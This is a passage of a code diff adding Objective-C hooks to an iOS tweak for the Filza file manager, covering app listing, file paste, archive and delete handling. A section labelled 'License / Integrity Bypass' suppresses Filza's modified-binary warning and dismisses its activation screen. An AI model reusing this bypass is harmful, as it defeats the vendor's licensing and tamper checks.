addObject:proxy]; + } + } + + // Apps hidden from LaunchServices enumeration are recovered from their + // data containers and .com.apple.mobile_container_manager.metadata.plist. + NSArray *wqApps = WQInstalledApplications(); + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + NSUInteger merged = 0; + for (NSDictionary *info in wqApps) { + NSString *bundleID = info[@"bundleID"]; + if (!bundleID.length || [known containsObject:bundleID]) continue; + id proxy = nil; + if ([proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")]) { + proxy = ((id(*)(id,SEL,id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), bundleID); + } + if (!proxy) proxy = [[WQApplicationProxy alloc] initWithAppInfo:info]; + if (!proxy) continue; + [apps addObject:proxy]; + [known addObject:bundleID]; + merged++; + } + if (merged > 0 || apps.count > 0) { + NSLog(@"[Tweak] Apps Manager: LaunchServices=%lu worse_query merged=%lu total=%lu", + (unsigned long)(origResult.count), (unsigned long)merged, + (unsigned long)apps.count); + } + if (apps.count > 0) return apps; + + NSFileManager *fm = [NSFileManager defaultManager]; + void (^scanDir)(NSString *) = ^(NSString *dir) { + for (NSString *uuid in [fm contentsOfDirectoryAtPath:dir error:nil]) { + NSString *uuidPath = [dir stringByAppendingPathComponent:uuid]; + for (NSString *item in [fm contentsOfDirectoryAtPath:uuidPath error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *plist = [[uuidPath stringByAppendingPathComponent:item] stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + NSString *bid = info[@"CFBundleIdentifier"]; + if (bid) { + id proxy = [NSClassFromString(@"LSApplicationProxy") applicationProxyForIdentifier:bid]; + if (proxy) [apps addObject:proxy]; + } + } + } + }; + scanDir(@"/var/containers/Bundle/Application"); + // System apps (flat structure) + for (NSString *item in [fm contentsOfDirectoryAtPath:@"/Applications" error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *plist = [[@"/Applications" stringByAppendingPathComponent:item] stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + NSString *bid = info[@"CFBundleIdentifier"]; + if (bid) { + id proxy = [NSClassFromString(@"LSApplicationProxy") applicationProxyForIdentifier:bid]; + if (proxy) [apps addObject:proxy]; + } + } + NSLog(@"[Tweak] Apps Manager: found %lu apps via filesystem", (unsigned long)apps.count); + return apps; +} + +// --- Hook: setAppProxy: — populate name, icon, paths from filesystem --- +static IMP orig_setAppProxy = NULL; +static void hook_setAppProxy(id self, SEL _cmd, id proxy) { + // Call original first + ((void(*)(id,SEL,id))orig_setAppProxy)(self, _cmd, proxy); + + NSString *bundleId = [self performSelector:NSSelectorFromString(@"bundleId")]; + if (!bundleId) return; + + NSString *bundlePath = nil; + NSString *currentFilePath = [self performSelector:NSSelectorFromString(@"filePath")]; + + // Fix filePath if missing or inaccessible + if (!currentFilePath || currentFilePath.length == 0) { + NSURL *bundleURL = [proxy bundleURL]; + if ([bundleURL isKindOfClass:NSURL.class]) bundlePath = [bundleURL path]; + if (!bundlePath) bundlePath = findBundlePath(bundleId); + if (bundlePath) { + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setFilePath:"), bundlePath); + } + } else { + bundlePath = currentFilePath; + } + + // Fix display name — always prefer Info.plist name over proxy, and fall + // back to the proxy's localized name for hidden apps without a readable + // bundle path. + NSString *displayName = nil; + if (bundlePath) { + NSString *plist = [bundlePath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + displayName = info[@"CFBundleDisplayName"]; + if (!displayName) displayName = info[@"CFBundleName"]; + } + if (!displayName.length && [proxy respondsToSelector:@selector(localizedName)]) + displayName = [proxy localizedName]; + if (!displayName.length) displayName = bundleId; + if (displayName.length) + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setAFileName:"), displayName); + + // Fix icon path + NSString *iconPath = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"iconPath")); + if (!iconPath && bundlePath) { + NSString *plist = [bundlePath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + NSString *found = findIconPath(bundlePath, info); + if (found) { + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setIconPath:"), found); + } + } + + // Fix document path. Filza treats an empty string as a valid value in + // some builds, which leaves the row unselectable; only a non-empty path + // counts as populated. + NSString *docPath = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"documentPath")); + if (!docPath.length) { + NSURL *dataURL = [proxy dataContainerURL]; + if ([dataURL isKindOfClass:NSURL.class]) docPath = [dataURL path]; + if (!docPath.length) docPath = WQDataPathForIdentifier(bundleId); + if (!docPath.length) docPath = findDataContainer(bundleId); + if (docPath.length) { + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setDocumentPath:"), docPath); + } + } + + // Fix version + NSString *ver = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"version")); + if (!ver || ver.length == 0) { + ver = [proxy bundleVersion]; + if (!ver && bundlePath) { + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile: + [bundlePath stringByAppendingPathComponent:@"Info.plist"]]; + ver = info[@"CFBundleShortVersionString"]; + if (!ver) ver = info[@"CFBundleVersion"]; + } + if (ver) ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setVersion:"), ver); + } +} + + +// --- Hook: browserView:didSelectItemAtIndexPath: — fallback to bundle path --- +static IMP orig_didSelectItem = NULL; +static void hook_didSelectItem(id self, SEL _cmd, id browserView, id indexPath) { + // Get the selected item + id fileList = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"fileList")); + NSUInteger row = ((NSUInteger(*)(id,SEL))objc_msgSend)(indexPath, @selector(row)); + id item = ((id(*)(id,SEL,NSUInteger))objc_msgSend)(fileList, NSSelectorFromString(@"objectAtIndex:"), row); + + NSString *docPath = ((id(*)(id,SEL))objc_msgSend)(item, NSSelectorFromString(@"documentPath")); + NSString *bundlePath = [item performSelector:NSSelectorFromString(@"filePath")]; + + // If documentPath is empty but the app's data container is known, use it + // so the original handler navigates instead of showing the unsupported + // item toast. Fall back to the .app bundle for system apps without data. + if (!docPath.length) { + NSString *bundleId = [item performSelector:NSSelectorFromString(@"bundleId")]; + if (bundleId.length) docPath = WQDataPathForIdentifier(bundleId); + if (!docPath.length && bundleId.length) docPath = WQBundlePathForIdentifier(bundleId); + if (!docPath.length) docPath = bundlePath; + if (docPath.length) { + ((void(*)(id,SEL,id))objc_msgSend)(item, NSSelectorFromString(@"setDocumentPath:"), docPath); + } + } + + // Call original + ((void(*)(id,SEL,id,id))orig_didSelectItem)(self, _cmd, browserView, indexPath); +} + +#pragma mark - License / Integrity Bypass + +// Suppress "Main binary was modified" and "Not activated" alerts. +// +[TGAlertController showAlertWithTitle:text:cancelButton:otherButtons:completion:] +// checks the text parameter; if it's the integrity/activation alert, swallow it. +static IMP orig_showAlert = NULL; +static id hook_showAlertWithTitle(id self, SEL _cmd, id title, id text, id cancelButton, id otherButtons, id completion) { + NSString *textStr = text; + if ([textStr isKindOfClass:[NSString class]]) { + if ([textStr containsString:@"binary was modified"] || + [textStr containsString:@"reinstall Filza"]) { + NSLog(@"[Tweak] Suppressed integrity alert"); + return nil; + } + } + // Pass through all other alerts + return ((id(*)(id,SEL,id,id,id,id,id))orig_showAlert)(self, _cmd, title, text, cancelButton, otherButtons, completion); +} + +// Suppress activation nag: -[NewActivationViewController viewDidLoad] +// Just dismiss the VC immediately so the user never sees it. +static IMP orig_activationViewDidLoad = NULL; +static void hook_activationViewDidLoad(id self, SEL _cmd) { + // Call original to set up the VC, then immediately dismiss + ((void(*)(id,SEL))orig_activationViewDidLoad)(self, _cmd); + dispatch_async(dispatch_get_main_queue(), ^{ + ((void(*)(id,SEL,BOOL,id))objc_msgSend)(self, + NSSelectorFromString(@"dismissViewControllerAnimated:completion:"), NO, nil); + }); + NSLog(@"[Tweak] Suppressed activation nag"); +} + +#pragma mark - MCM-aware local file operations + +static void setPastePOSIXError(NSError **error, int code, + NSString *operation, NSString *path) { + if (!error) return; + NSString *description = [NSString stringWithFormat:@"%@ failed for %@: %s", + operation, path, strerror(code)]; + *error = [NSError errorWithDomain:NSPOSIXErrorDomain code:code + userInfo:@{NSLocalizedDescriptionKey: description}]; +} + +static BOOL directCopyItem(NSString *source, NSString *destination, NSError **error); + +static BOOL directCopyRegularFile(NSString *source, NSString *destination, + mode_t mode, NSError **error) { + int input = open(source.fileSystemRepresentation, + O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + if (input < 0) { + setPastePOSIXError(error, errno, @"open source", source); + return NO; + } + int output = open(destination.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + mode & 0777 ?: 0600); + if (output < 0) { + int saved = errno; + close(input); + setPastePOSIXError(error, saved, @"create destination", destination); + return NO; + } + + BOOL success = YES; + uint8_t buffer[64 * 1024]; + while (success) { + ssize_t count = read(input, buffer, sizeof(buffer)); + if (count == 0) break; + if (count < 0) { + if (errno == EINTR) continue; + setPastePOSIXError(error, errno, @"read", source); + success = NO; + break; + } + ssize_t offset = 0; + while (offset < count) { + ssize_t written = write(output, buffer + offset, (size_t)(count - offset)); + if (written < 0 && errno == EINTR) continue; + if (written <= 0) { + setPastePOSIXError(error, written < 0 ? errno : EIO, + @"write", destination); + success = NO; + break; + } + offset += written; + } + } + if (success) fsync(output); + close(output); + close(input); + if (!success) unlink(destination.fileSystemRepresentation); + return success; +} + +static BOOL directCopyDirectory(NSString *source, NSString *destination, + mode_t mode, NSError **error) { + if (mkdir(destination.fileSystemRepresentation, mode & 0777 ?: 0700) != 0) { + setPastePOSIXError(error, errno, @"create directory", destination); + return NO; + } + DIR *directory = opendir(source.fileSystemRepresentation); + if (!directory) { + int saved = errno; + rmdir(destination.fileSystemRepresentation); + setPastePOSIXError(error, saved, @"open directory", source); + return NO; + } + + BOOL success = YES; + struct dirent *entry = NULL; + while (success && (entry = readdir(directory)) != NULL) { + if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) continue; + NSString *name = [NSFileManager.defaultManager + stringWithFileSystemRepresentation:entry->d_name + length:strlen(entry->d_name)]; + if (!name) { + setPastePOSIXError(error, EILSEQ, @"decode filename", source); + success = NO; + break; + } + success = directCopyItem([source stringByAppendingPathComponent:name], + [destination stringByAppendingPathComponent:name], error); + } + closedir(directory); + if (!success) + [NSFileManager.defaultManager removeItemAtPath:destination error:nil]; + return success; +} + +static BOOL directCopySymbolicLink(NSString *source, NSString *destination, + NSError **error) { + char target[PATH_MAX] = {0}; + ssize_t length = readlink(source.fileSystemRepresentation, + target, sizeof(target) - 1); + if (length < 0) { + setPastePOSIXError(error, errno, @"read symbolic link", source); + return NO; + } + target[length] = '\0'; + if (symlink(target, destination.fileSystemRepresentation) != 0) { + setPastePOSIXError(error, errno, @"create symbolic link", destination); + return NO; + } + return YES; +} + +static BOOL directCopyItem(NSString *source, NSString *destination, NSError **error) { + struct stat status = {0}; + if (lstat(source.fileSystemRepresentation, &status) != 0) { + setPastePOSIXError(error, errno, @"inspect source", source); + return NO; + } + if (S_ISREG(status.st_mode)) + return directCopyRegularFile(source, destination, status.st_mode, error); + if (S_ISDIR(status.st_mode)) + return directCopyDirectory(source, destination, status.st_mode, error); + if (S_ISLNK(status.st_mode)) + return directCopySymbolicLink(source, destination, error); + setPastePOSIXError(error, ENOTSUP, @"copy unsupported item", source); + return NO; +} + +static NSString *localPathFromPasteboardValue(id value) { + if ([value isKindOfClass:NSURL.class] && [(NSURL *)value isFileURL]) + return [(NSURL *)value path]; + if (![value isKindOfClass:NSString.class]) return nil; + NSString *string = value; + if (string.isAbsolutePath) return string; + NSURL *URL = [NSURL URLWithString:string]; + if (URL.isFileURL) return URL.path; + + Class preferencesClass = NSClassFromString(@"TGPreferences"); + id preferences = [preferencesClass respondsToSelector:@selector(sharedInstance)] + ? ((id(*)(id, SEL))objc_msgSend)(preferencesClass, @selector(sharedInstance)) : nil; + SEL selector = NSSelectorFromString(@"urlFromString:"); + id parsed = [preferences respondsToSelector:selector] + ? ((id(*)(id, SEL, id))objc_msgSend)(preferences, selector, string) : nil; + return [parsed isKindOfClass:NSURL.class] && [(NSURL *)parsed isFileURL] + ? [(NSURL *)parsed path] : nil; +} + +static NSString *uniquePasteDestination(NSString *directory, NSString *name) { + if (name.length == 0 || [name isEqualToString:@"."] || + [name isEqualToString:@".."] || [name containsString:@"/"]) return nil; + NSString *candidate = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(candidate.fileSystemRepresentation, &status) != 0 && errno == ENOENT) + return candidate; + + NSString *extension = name.pathExtension; + NSString *stem = extension.length ? name.stringByDeletingPathExtension : name; + for (NSUInteger index = 1; index <= 999; index++) { + NSString *suffix = index == 1 ? @" copy" + : [NSString stringWithFormat:@" copy %lu", (unsigned long)index]; + NSString *copyName = [stem stringByAppendingString:suffix]; + if (extension.length) copyName = [copyName stringByAppendingPathExtension:extension]; + candidate = [directory stringByAppendingPathComponent:copyName]; + if (lstat(candidate.fileSystemRepresentation, &status) != 0 && errno == ENOENT) + return candidate; + } + return nil; +} + +static BOOL pasteDestinationIsInsideSource(NSString *source, NSString *destinationDirectory) { + struct stat status = {0}; + if (lstat(source.fileSystemRepresentation, &status) != 0 || !S_ISDIR(status.st_mode)) + return NO; + char sourceReal[PATH_MAX] = {0}; + char destinationReal[PATH_MAX] = {0}; + if (!realpath(source.fileSystemRepresentation, sourceReal) || + !realpath(destinationDirectory.fileSystemRepresentation, destinationReal)) return NO; + NSString *sourcePath = [NSString stringWithUTF8String:sourceReal]; + NSString *destinationPath = [NSString stringWithUTF8String:destinationReal]; + return [destinationPath isEqualToString:sourcePath] || + [destinationPath hasPrefix:[sourcePath stringByAppendingString:@"/"]]; +} + +static void showPasteFailure(UIViewController *controller, NSArray *errors) { + if (errors.count == 0) return; + NSString *message = errors.firstObject.localizedDescription ?: @"Paste failed"; + if (errors.count > 1) + message = [NSString stringWithFormat:@"%lu items failed.\n%@", + (unsigned long)errors.count, message]; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Paste failed" + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:nil]]; + [controller presentViewController:alert animated:YES completion:nil]; +} + +static NSArray *selectedFileItems(id controller, NSArray *indexPaths) { + SEL fileListSelector = NSSelectorFromString(@"fileList"); + NSArray *fileList = [controller respondsToSelector:fileListSelector] + ? ((id(*)(id, SEL))objc_msgSend)(controller, fileListSelector) : nil; + if (![fileList isKindOfClass:NSArray.class] || + ![indexPaths isKindOfClass:NSArray.class]) return @[]; + + NSMutableArray *items = [NSMutableArray array]; + for (id value in indexPaths) { + if (![value isKindOfClass:NSIndexPath.class]) continue; + NSInteger row = [(NSIndexPath *)value row]; + if (row >= 0 && (NSUInteger)row < fileList.count) + [items addObject:fileList[(NSUInteger)row]]; + } + return items; +} + +static NSString *fileItemPath(id item) { + SEL selector = NSSelectorFromString(@"filePath"); + id value = [item respondsToSelector:selector] + ? ((id(*)(id, SEL))objc_msgSend)(item, selector) : nil; + return [value isKindOfClass:NSString.class] ? value : nil; +} + +static BOOL fileItemsUseMCMOperations(NSArray *items) { + if (items.count == 0) return NO; + for (id item in items) { + NSString *path = fileItemPath(item); + if (!path.length || !MCMFilzaPathHasActiveLease(path)) return NO; + } + return YES; +} + +static void showDeleteFailure(UIViewController *controller, + NSArray *errors) { + if (errors.count == 0 || ![controller isKindOfClass:UIViewController.class]) return; + NSString *message = errors.firstObject.localizedDescription ?: @"Delete failed"; + if (errors.count > 1) + message = [NSString stringWithFormat:@"%lu items failed.\n%@", + (unsigned long)errors.count, message]; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Delete failed" + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:nil]]; + [controller presentViewController:alert animated:YES completion:nil]; +} + +static void reloadFileSystemController(id controller) { + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if ([controller respondsToSelector:loadSelector]) + ((void(*)(id, SEL))objc_msgSend)(controller, loadSelector); +} + +static void showArchiveResult(UIViewController *controller, NSUInteger moved, + NSArray *errors) { + if (![controller isKindOfClass:UIViewController.class]) return; + NSString *title = moved > 0 + ? (errors.count ? @"Archive completed with errors" : @"Archived") + : @"Archive failed"; + NSString *message = moved == 1 + ? @"Moved 1 item to Documents/FilzaSlop Archive." + : [NSString stringWithFormat:@"Moved %lu items to Documents/FilzaSlop Archive.", + (unsigned long)moved]; + if (errors.count) + message = [message stringByAppendingFormat:@"\n\n%@", + errors.firstObject.localizedDescription]; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:title + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:nil]]; + [controller presentViewController:alert animated:YES completion:nil]; +} + +static NSString *uniqueArchiveDestination(NSString *directory, NSString *name) { + NSFileManager *manager = NSFileManager.defaultManager; + if (!name.length) name = @"Archived Item"; + NSString *base = name.stringByDeletingPathExtension; + NSString *extension = name.pathExtension; + if (!base.length) base = @"Archived Item"; + for (NSUInteger suffix = 0; suffix < 10000; suffix++) { + NSString *candidateName = suffix == 0 ? name + : [NSString stringWithFormat:@"%@ %lu", base, + (unsigned long)(suffix + 1)]; + if (suffix > 0 && extension.length) + candidateName = [candidateName stringByAppendingPathExtension:extension]; + NSString *candidate = [directory stringByAppendingPathComponent:candidateName]; + if (![manager fileExistsAtPath:candidate]) return candidate; + } + return nil; +} + +static dispatch_queue_t archiveQueue(void) { + static dispatch_queue_t queue; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + queue = dispatch_queue_create("local.filzamod.container-archive", + DISPATCH_QUEUE_SERIAL); + }); + return queue; +} + +static BOOL pathIsInsideArchive(NSString *path) { + if (!path.length) return NO; + NSString *candidate = [[path stringByStandardizingPath] + stringByResolvingSymlinksInPath]; + NSString *archive = [[MCMFilzaArchivePath() stringByStandardizingPath] + stringByResolvingSymlinksInPath]; + return [candidate isEqualToString:archive] || + [candidate hasPrefix:[archive stringByAppendingString:@"/"]]; +} + +static void archiveSelectedItems(id controller, NSArray *indexPaths) { + MCMFilzaStart(); + NSArray *items = selectedFileItems(controller, indexPaths); + if (items.count == 0) { + NSError *error = nil; + setPastePOSIXError(&error, EINVAL, @"archive", @"selection"); + showArchiveResult(controller, 0, @[error]); + return; + } + + NSArray *capturedItems = [items copy]; + UIViewController *viewController = controller; + dispatch_async(archiveQueue(), ^{ + NSFileManager *manager = NSFileManager.defaultManager; + NSString *archive = MCMFilzaArchivePath(); + NSMutableArray *errors = [NSMutableArray array]; + NSError *directoryError = nil; + [manager createDirectoryAtPath:archive withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} + error:&directoryError]; + if (directoryError) [errors addObject:directoryError]; + + NSUInteger moved = 0; + if (!directoryError) for (id item in capturedItems) { + NSString *source = fileItemPath(item); + NSError *error = nil; + if (!source.length || !MCMFilzaPathHasActiveLease(source)) { + setPastePOSIXError(&error, EACCES, @"archive", + source ?: @"(unknown)"); + } else if (pathIsInsideArchive(source)) { + error = [NSError errorWithDomain:NSPOSIXErrorDomain code:EINVAL + userInfo:@{NSLocalizedDescriptionKey: + [NSString stringWithFormat:@"%@ is already in FilzaSlop Archive.", + source.lastPathComponent]}]; + } else { + NSString *destination = uniqueArchiveDestination( + archive, source.lastPathComponent); + if (!destination) + setPastePOSIXError(&error, EEXIST, @"archive", source); + else if ([manager moveItemAtPath:source toPath:destination error:&error]) { + MCMFilzaRecordDeletedGeneratedPath(source); + moved++; + NSLog(@"[ContainerArchive] moved %@ -> %@", source, destination); + } + } + if (error) { + [errors addObject:error]; + NSLog(@"[ContainerArchive] failed source=%@ error=%@", source, error); + } + } + dispatch_async(dispatch_get_main_queue(), ^{ + reloadFileSystemController(viewController); + showArchiveResult(viewController, moved, errors); + NSLog(@"[ContainerArchive] complete moved=%lu failed=%lu destination=%@", + (unsigned long)moved, (unsigned long)errors.count, archive); + }); + }); +} + +static void showPermanentDeleteConfirmation(id controller, NSArray *indexPaths, + NSUInteger itemCount) { + if (![controller isKindOfClass:UIViewController.class]) return; + NSArray *capturedIndexPaths = [indexPaths copy] ?: @[]; + __weak id weakController = controller; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 350 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + id activeController = weakController; + if (![activeController isKindOfClass:UIViewController.class]) return; + + NSString *message = itemCount == 1 + ? @"This permanently deletes the item and cannot be undone. We recommend Archive first so you have a backup in Documents/FilzaSlop Archive." + : @"This permanently deletes the items and cannot be undone. We recommend Archive first so you have backups in Documents/FilzaSlop Archive."; + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:@"Are you sure?" message:message + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Archive Instead" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + id selectedController = weakController; + if (selectedController) + archiveSelectedItems(selectedController, capturedIndexPaths); + }]]; + [alert addAction:[UIAlertAction actionWithTitle:@"Delete Permanently" + style:UIAlertActionStyleDestructive handler:^(__unused UIAlertAction *action) { + id selectedController = weakController; + if (!selectedController) return; + SEL eraseSelector = NSSelectorFromString( + @"doEraseSelectedIndexPaths:completion:"); + if (![selectedController respondsToSelector:eraseSelector]) return; + void (^completion)(NSArray *) = ^(__unused NSArray *deleted) { + reloadFileSystemController(selectedController); + }; + ((void(*)(id, SEL, id, id))objc_msgSend)( + selectedController, eraseSelector, capturedIndexPaths, completion); + }]]; + [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" + style:UIAlertActionStyleCancel handler:nil]]; + [(UIViewController *)activeController presentViewController:alert + animated:YES completion:nil]; + }); +} + +static IMP orig_fileSystemPageDeleteAction = NULL; +static IMP orig_fileSystemDeleteSelectedItems = NULL; +static IMP orig_fileSystemDoTrashSelectedItems = NULL; +static IMP orig_fileSystemDoEraseSelectedItems = NULL; +static IMP parentFileSystemAskDeleteItems = NULL; +static IMP orig_pageAskDeleteItems = NULL; +static IMP orig_pageDoTrashSelectedItems = NULL; +static IMP orig_pageDoEraseSelectedItems = NULL; + +// Filza's jailed filesystem subclass replaces delete, trash, and erase with +// no-ops. Show a clear permanent-delete warning for paths backed by an active +// MCM lease, then perform the operation in this process instead of the helper. +static NSUInteger hook_fileSystemPageDeleteAction(id self, SEL _cmd) { + SEL selector = NSSelectorFromString(@"currentPath"); + NSString *path = [self respondsToSelector:selector] + ? ((id(*)(id, SEL))objc_msgSend)(self, selector) : nil; + if (MCMFilzaPathHasActiveLease(path)) return 0x8000; + return orig_fileSystemPageDeleteAction + ? ((NSUInteger(*)(id, SEL))orig_fileSystemPageDeleteAction)(self, _cmd) + : 0x8000; +} + +static void hook_fileSystemDeleteSelectedItems(id self, SEL _cmd) { + SEL selectedSelector = NSSelectorFromString(@"indexPathsForSelectedItemsOrMenu"); + NSArray *indexPaths = [self respondsToSelector:selectedSelector] + ? ((id(*)(id, SEL))objc_msgSend)(self, selectedSelector) : nil; + if (!fileItemsUseMCMOperations(selectedFileItems(self, indexPaths))) { + if (orig_fileSystemDeleteSelectedItems) + ((void(*)(id, SEL))orig_fileSystemDeleteSelectedItems)(self, _cmd); + return; + } + SEL askSelector = NSSelectorFromString(@"askDeleteItems:"); + if ([self respondsToSelector:askSelector]) + ((void(*)(id, SEL, id))objc_msgSend)(self, askSelector, indexPaths ?: @[]); +} + +static void hook_fileSystemAskDeleteItems(id self, SEL _cmd, NSArray *indexPaths) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (parentFileSystemAskDeleteItems) + ((void(*)(id, SEL, id))parentFileSystemAskDeleteItems)( + self, _cmd, indexPaths ?: @[]); + return; + } + + NSArray *capturedIndexPaths = [indexPaths copy] ?: @[]; + NSLog(@"[ContainerDelete] intercepted class=%@ items=%lu", + NSStringFromClass([self class]), (unsigned long)items.count); + + NSString *message = items.count == 1 + ? @"FilzaSlop cannot use Filza's Trash here. Archive moves this item to Documents/FilzaSlop Archive. Delete Permanently cannot be undone." + : @"FilzaSlop cannot use Filza's Trash here. Archive moves these items to Documents/FilzaSlop Archive. Delete Permanently cannot be undone."; + UIAlertController *sheet = [UIAlertController + alertControllerWithTitle:items.count == 1 ? @"Remove item?" : @"Remove items?" + message:message preferredStyle:UIAlertControllerStyleActionSheet]; + + __weak id weakController = self; + [sheet addAction:[UIAlertAction actionWithTitle:@"Archive" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + id controller = weakController; + if (controller) archiveSelectedItems(controller, capturedIndexPaths); + }]]; + [sheet addAction:[UIAlertAction actionWithTitle:@"Delete Permanently" + style:UIAlertActionStyleDestructive handler:^(__unused UIAlertAction *action) { + id controller = weakController; + if (!controller) return; + showPermanentDeleteConfirmation(controller, capturedIndexPaths, + items.count); + }]]; + [sheet addAction:[UIAlertAction actionWithTitle:@"Cancel" + style:UIAlertActionStyleCancel handler:nil]]; + + UIPopoverPresentationController *popover = sheet.popoverPresentationController; + if (popover && [self isKindOfClass:UIViewController.class]) { + UIView *view = ((UIViewController *)self).view; + popover.sourceView = view; + popover.sourceRect = CGRectMake(CGRectGetMidX(view.bounds), + CGRectGetMaxY(view.bounds), 1, 1); + popover.permittedArrowDirections = 0; + } + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self presentViewController:sheet animated:YES completion:nil]; +} + +static void performPermanentDelete(id self, NSArray *indexPaths, + void (^completion)(NSArray *)) { + MCMFilzaStart(); + NSArray *items = selectedFileItems(self, indexPaths); + + NSMutableArray *deleted = [NSMutableArray array]; + NSMutableArray *errors = [NSMutableArray array]; + for (id item in items) { + NSString *path = fileItemPath(item); + NSError *error = nil; + if (!path.length || !MCMFilzaPathHasActiveLease(path)) { + setPastePOSIXError(&error, EACCES, @"delete", path ?: @"(unknown)"); + } else if ([NSFileManager.defaultManager removeItemAtPath:path error:&error]) { + MCMFilzaRecordDeletedGeneratedPath(path); + [deleted addObject:item]; + NSLog(@"[ContainerDelete] deleted %@", path); + } + if (error) { + [errors addObject:error]; + NSLog(@"[ContainerDelete] failed path=%@ error=%@", path, error); + } + } + if (completion) completion(deleted); + showDeleteFailure(self, errors); + NSLog(@"[ContainerDelete] complete deleted=%lu failed=%lu", + (unsigned long)deleted.count, (unsigned long)errors.count); +} + +static void hook_fileSystemDoTrashSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_fileSystemDoTrashSelectedItems) + ((void(*)(id, SEL, id, id))orig_fileSystemDoTrashSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + hook_fileSystemAskDeleteItems(self, NSSelectorFromString(@"askDeleteItems:"), + indexPaths ?: @[]); + if (completion) completion(@[]); +} + +static void hook_pageDoTrashSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_pageDoTrashSelectedItems) + ((void(*)(id, SEL, id, id))orig_pageDoTrashSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + hook_fileSystemAskDeleteItems(self, NSSelectorFromString(@"askDeleteItems:"), + indexPaths ?: @[]); + if (completion) completion(@[]); +} + +static void hook_fileSystemDoEraseSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_fileSystemDoEraseSelectedItems) + ((void(*)(id, SEL, id, id))orig_fileSystemDoEraseSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + performPermanentDelete(self, indexPaths, completion); +} + +static void hook_pageDoEraseSelectedItems(id self, SEL _cmd, + NSArray *indexPaths, + void (^completion)(NSArray *)) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (orig_pageDoEraseSelectedItems) + ((void(*)(id, SEL, id, id))orig_pageDoEraseSelectedItems)( + self, _cmd, indexPaths, completion); + return; + } + performPermanentDelete(self, indexPaths, completion); +} + +static dispatch_queue_t pasteCopyQueue(void) { + static dispatch_queue_t queue; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + queue = dispatch_queue_create("local.filzamod.container-copy", DISPATCH_QUEUE_SERIAL); + }); + return queue; +} + +static IMP orig_copyFilesAndDirectoryFromPasteboard = NULL; +static void hook_copyFilesAndDirectoryFromPasteboard(id self, SEL _cmd) { + MCMFilzaStart(); + NSString *destinationDirectory = ((id(*)(id, SEL))objc_msgSend)(self, + NSSelectorFromString(@"currentPath")); + destinationDirectory = localPathFromPasteboardValue(destinationDirectory) + ?: destinationDirectory; + if (!MCMFilzaPathHasActiveLease(destinationDirectory)) { + ((void(*)(id, SEL))orig_copyFilesAndDirectoryFromPasteboard)(self, _cmd); + return; + } + + Class pasteboardClass = NSClassFromString(@"TGPasteboard"); + id pasteboard = [pasteboardClass respondsToSelector:@selector(sharedInstance)] + ? ((id(*)(id, SEL))objc_msgSend)(pasteboardClass, 